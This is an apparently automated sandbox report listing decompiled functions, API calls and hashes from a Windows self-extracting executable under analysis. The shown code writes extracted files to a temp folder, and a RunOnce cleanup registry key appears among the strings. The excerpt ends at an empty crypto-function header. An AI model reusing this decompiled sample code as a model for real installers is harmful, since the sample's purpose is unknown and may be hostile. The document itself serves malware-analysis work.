String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 82b218e2d9883565c263a0d8344fd48088886b6c6206e64d41e8372f39e857ac
Instruction ID: 005e48ab9b69964d424e0b2833599d606075ecdd306d3040e9ef7f4c01290d87
Opcode Fuzzy Hash: 82b218e2d9883565c263a0d8344fd48088886b6c6206e64d41e8372f39e857ac
Instruction Fuzzy Hash: A3E01A30650218FFEB318B91AC0EF5D7A6AE700B80F20019ABA84A1066E7A65A10DF08

Uniqueness

Uniqueness Score: -1.00%

Function 010C4CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E010C4CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x10c8004; // 0x4b13cf70
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x10c91d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E010C4E99(_t75);
						L35:
						return E010C6CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x10c8584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0x10c91e4;
						_t58 = 0x10c91e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0x10c91e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x10c91e4;
						_t30 = E010C4702( &_v268, 0x10c91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E010C476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E010C4980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E010C47E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x10c93f4 =  *0x10c93f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x10c91e4;
						_t63 = 0x10c91e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0x10c91e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x10c91e4;
						_t30 = E010C4702( &_v268, 0x10c91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E010C4C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E010C4B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E010C4B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x010c4cd0
0x010c4cdb
0x010c4ce0
0x010c4ce2
0x010c4cee
0x010c4cf2
0x010c4d0e
0x010c4d0e
0x010c4d11
0x010c4e83
0x010c4e88
0x010c4e98
0x010c4e98
0x010c4d17
0x010c4d17
0x010c4d1a
0x010c4d2f
0x010c4d2f
0x00000000
0x010c4d2f
0x010c4d1c
0x010c4d1c
0x010c4d1f
0x010c4dcb
0x010c4dd0
0x010c4dd2
0x010c4ddd
0x010c4ddd
0x010c4de3
0x010c4de8
0x010c4ded
0x010c4ded
0x010c4def
0x010c4df0
0x010c4df0
0x010c4df4
0x010c4df4
0x010c4df6
0x010c4df9
0x010c4dfc
0x010c4dfc
0x010c4dfe
0x010c4dff
0x010c4dff
0x010c4e03
0x010c4e08
0x010c4e0a
0x010c4e0f
0x010c4d03
0x010c4d03
0x00000000
0x010c4d03
0x010c4e18
0x010c4e20
0x010c4e25
0x010c4e27
0x00000000
0x00000000
0x010c4e33
0x010c4e38
0x010c4e3a
0x00000000
0x00000000
0x010c4e40
0x010c4e51
0x010c4e56
0x010c4e5b
0x010c4e5e
0x00000000
0x00000000
0x010c4e6a
0x010c4e6f
0x010c4e71
0x00000000
0x00000000
0x010c4e77
0x010c4e7d
0x00000000
0x010c4e7d
0x010c4d25
0x010c4d25
0x010c4d28
0x010c4d36
0x010c4d3b
0x010c4d40
0x010c4d40
0x010c4d42
0x010c4d43
0x010c4d43
0x010c4d47
0x010c4d4a
0x010c4d4a
0x010c4d4c
0x010c4d4f
0x010c4d4f
0x010c4d51
0x010c4d52
0x010c4d52
0x010c4d56
0x010c4d5b
0x010c4d5d
0x010c4d62
0x00000000
0x00000000
0x010c4d67
0x010c4d6f
0x010c4d74
0x010c4d76
0x00000000
0x00000000
0x010c4d7c
0x010c4d84
0x010c4d89
0x010c4d8b
0x00000000
0x00000000
0x010c4d94
0x010c4d99
0x010c4d9e
0x010c4da1
0x010c4daa
0x010c4daa
0x010c4da3
0x010c4da3
0x010c4da3
0x010c4db5
0x010c4dbb
0x010c4dbd
0x00000000
0x010c4dc3
0x010c4dc5
0x00000000
0x010c4dc5
0x010c4dbd
0x010c4d2a
0x010c4d2a
0x010c4d2d
0x00000000
0x00000000
0x00000000
0x010c4d2d
0x010c4cf8
0x010c4cfd
0x010c4d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 010C4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 010C4DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C4D36, 010C4DE3

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-1193786559
Opcode ID: 0fcac0f4a30c0ebf4189190e0f1c3aba61b5a010a1227cb876c46da668da0bc6
Instruction ID: d78f2ad99cb392530ed509209cd0c29ddb7e23f755cf5f9538e5040aed03e514
Opcode Fuzzy Hash: 0fcac0f4a30c0ebf4189190e0f1c3aba61b5a010a1227cb876c46da668da0bc6
Instruction Fuzzy Hash: 644103366041068ADB76BF2CD9A46FD77E5FB45B00F0486ACD8C2D7285DA32DA46CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010C4C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C4C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x10c8d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x10c8d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x010c4c40
0x010c4c4a
0x010c4c8d
0x00000000
0x010c4c70
0x010c4c70
0x010c4c7e
0x010c4c86
0x00000000
0x00000000
0x00000000
0x010c4c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 010C4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 010C4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 010C4C7E

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: c0b3d09a6624de09fe0eacc9b760524aca864de75d803678a9509e5ea703afab
Instruction ID: ed371cef526a72e8e4ebf40b9f2fe30c60beae0d17f09cd91075bbd979dd3f32
Opcode Fuzzy Hash: c0b3d09a6624de09fe0eacc9b760524aca864de75d803678a9509e5ea703afab
Instruction Fuzzy Hash: 0AF0C232A0010DAEABA09FA8CC889BF7BECFB04640704456FA981C2050F631D504CF60

Uniqueness

Uniqueness Score: -1.00%

Function 010C487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E010C487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E010C490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x010c4880
0x010c488c
0x010c4894
0x010c48a0
0x010c48c9
0x010c48ce
0x010c48a2
0x010c48a8
0x010c48b7
0x010c48bc
0x010c48aa
0x010c48ac
0x010c48ac
0x010c48a8
0x010c48de
0x010c48e7
0x010c490b
0x010c48ee
0x010c48f0
0x00000000
0x010c4902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,010C4A23,?,010C4F67,*MEMCAB,00008000,00000180), ref: 010C48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,010C4F67,*MEMCAB,00008000,00000180), ref: 010C4902

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 316b4db39b5c8e838fcb9ff7899f7f46f177d23d0bd8bae35959d70cb33421d8
Instruction ID: d1f19c8e8b94e47a6a63019dadda059bbc0bb9548c07e61b05587f0e059e311a
Opcode Fuzzy Hash: 316b4db39b5c8e838fcb9ff7899f7f46f177d23d0bd8bae35959d70cb33421d8
Instruction Fuzzy Hash: F8016DA3E115742AF36442294C98FFF555CEBDAA34F1B0339BEEAE71C1D5644C0486E0

Uniqueness

Uniqueness Score: -1.00%

Function 010C4AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E010C4AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x10c858c; // 0x268
				_t9 = E010C3680(_t20);
				if( *0x10c91d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x10c8d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0x10c9400; // 0x9e600
							_t15 = _t14 + _t25;
							 *0x10c9400 = _t15;
							if( *0x10c8184 != 0) {
								_t21 =  *0x10c8584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x10c93f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x010c4ad5
0x010c4adb
0x010c4ae7
0x010c4aee
0x010c4b05
0x010c4b0d
0x010c4b14
0x010c4b1a
0x010c4b1c
0x010c4b21
0x010c4b2a
0x010c4b2f
0x010c4b31
0x010c4b39
0x010c4b54
0x010c4b54
0x010c4b39
0x010c4b2f
0x010c4b0f
0x010c4b0f
0x010c4b0f
0x010c4b5e
0x010c4ae9
0x010c4aed
0x010c4aed

APIs

Part of subcall function 010C3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 010C369F
Part of subcall function 010C3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010C36B2
Part of subcall function 010C3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 010C36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 010C4B05

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 5f55042847877cf8a32f815263635d9f5bc61fd6f19ff56e494744922bfcf0f1
Instruction ID: ff8a2dcbbde13cc9acf54295a2a61c697049e00a8a235b2d4b094466ee9951ca
Opcode Fuzzy Hash: 5f55042847877cf8a32f815263635d9f5bc61fd6f19ff56e494744922bfcf0f1
Instruction Fuzzy Hash: B90180312002059FD7248F58DC15BAA7B99F744B2AF04C269FAB9D71D4CB769811CF40

Uniqueness

Uniqueness Score: -1.00%

Function 010C658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x10c8b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x10c8b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E010C16B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x010c6592
0x010c6594
0x010c6596
0x010c6598
0x010c6598
0x010c659b
0x010c659b
0x010c659d
0x010c659e
0x010c65a2
0x010c65a4
0x010c65a9
0x010c65b2
0x010c65b6
0x010c65ba
0x010c65c3
0x010c65c5
0x010c65c8
0x010c65c8
0x010c65c3
0x010c65c9
0x010c65cc
0x010c65d2
0x010c65d1
0x010c65d1
0x00000000
0x010c65dc
0x00000000

APIs

CharPrevA.USER32(010C8B3E,010C8B3F,00000001,010C8B3E,-00000003,?,010C60EC,010C1140,?), ref: 010C65BA

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 816e056de38a3b894202f0d71e85867d6e7dd44c684931f414d284ea0ef5f16c
Instruction ID: 857b3c9c234c5a9ecf14d2ba4919a33ec510266d8f88467e0d5bb70788ca3a64
Opcode Fuzzy Hash: 816e056de38a3b894202f0d71e85867d6e7dd44c684931f414d284ea0ef5f16c
Instruction Fuzzy Hash: EDF042725082509FD331071D9884BAEBFDD9BE9550F38019EE9DAC3305DA674C458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 010C621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E010C621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E010C597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E010C44B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x10c9124 = E010C6285();
					_t9 = 0;
				}
				return E010C6CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x010c6229
0x010c6230
0x010c6247
0x010c626a
0x010c6272
0x010c6249
0x010c6255
0x010c625f
0x010c6264
0x010c6264
0x010c6284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 010C623F

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Part of subcall function 010C6285: GetLastError.KERNEL32(010C5BBC), ref: 010C6285

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 95d350ebbad1d95a225b9fe5530feed2696896c86bf175341f4741af61f494f1
Instruction ID: 5427025dd42c723de9bfc3f84120757e6e5a2df36e05befa633550192589a768
Opcode Fuzzy Hash: 95d350ebbad1d95a225b9fe5530feed2696896c86bf175341f4741af61f494f1
Instruction Fuzzy Hash: 57F0B4B07002096FD770EB748D01BFE72A9DB54B00F50006EA9C5D7181ED7699408F50

Uniqueness

Uniqueness Score: -1.00%

Function 010C4B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C4B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x10c8d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x10c8d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x10c8d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x10c8d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x10c8d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x10c8d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x10c8d6c)) = 0;
				return 0;
			}

0x010c4b66
0x010c4b74
0x010c4b98
0x010c4ba0
0x00000000
0x010c4bac
0x010c4ba4
0x00000000
0x010c4ba4
0x010c4b78
0x010c4b7e
0x010c4b84
0x010c4b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,010C4FA1,00000000), ref: 010C4B98

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 122bd7cc6b51a48c7388713983563a286686053811cee0541c31ef725129ec4b
Instruction ID: de0750e5fb6ad020d44fb0dc01b5ef0c2d0d1f357bb10f059dbe26eaa92e7f88
Opcode Fuzzy Hash: 122bd7cc6b51a48c7388713983563a286686053811cee0541c31ef725129ec4b
Instruction Fuzzy Hash: 13F01271D00B09AE4771AF29DC0069FBBE6BA956613148D2FA5EED2150F7306441DF94

Uniqueness

Uniqueness Score: -1.00%

Function 010C66AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C66AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x010c66b1
0x010c66ba
0x010c66c7
0x010c66bc
0x010c66be
0x010c66be

APIs

GetFileAttributesA.KERNELBASE(?,010C4777,?,010C4E38,?), ref: 010C66B1

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e7642888bf18f1af8f95bf055a3a2d254b958f6a9e571c7a975b07031b9d3f26
Instruction ID: 1ca0fff231c36d7163d3c7a23f5a679f5331d2cba1adbac846761f193e0ecc8a
Opcode Fuzzy Hash: e7642888bf18f1af8f95bf055a3a2d254b958f6a9e571c7a975b07031b9d3f26
Instruction Fuzzy Hash: 50B09276222444876A710735682955A3881A6C163A7E41B94F072C12D4DA3FD446E904

Uniqueness

Uniqueness Score: -1.00%

Function 010C4CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C4CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x010c4caa
0x010c4cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 010C4CAA

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 29fb8340fa1e6f76654e260a74402cd56a20e6d96b947e30e41a32a22a6e6e24
Instruction ID: eda47b39be623c34b6c5a2301b9219acb1a1340b6fff1d2d4d5b55db93a81e4d
Opcode Fuzzy Hash: 29fb8340fa1e6f76654e260a74402cd56a20e6d96b947e30e41a32a22a6e6e24
Instruction Fuzzy Hash: 39B0123214420CFBCF101FC2E809F853F1DE7C47A1F240000F60C460809A7794108B95

Uniqueness

Uniqueness Score: -1.00%

Function 010C4CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C4CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x010c4cc8
0x010c4ccf

APIs

GlobalFree.KERNEL32 ref: 010C4CC8

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: f244440f3fbd8f5b7d04aa854d8530359d5fc3e79c10dd223cfea60e1a4a9374
Instruction ID: d5da4952d989e679a32bb0c39f2df689e60985a843c8d48694c118a7940c1ee2
Opcode Fuzzy Hash: f244440f3fbd8f5b7d04aa854d8530359d5fc3e79c10dd223cfea60e1a4a9374
Instruction Fuzzy Hash: 20B0123100010CFB8F101B42E8088453F1DD6C03A07100010F50C420119B3B98118A84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 010C5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

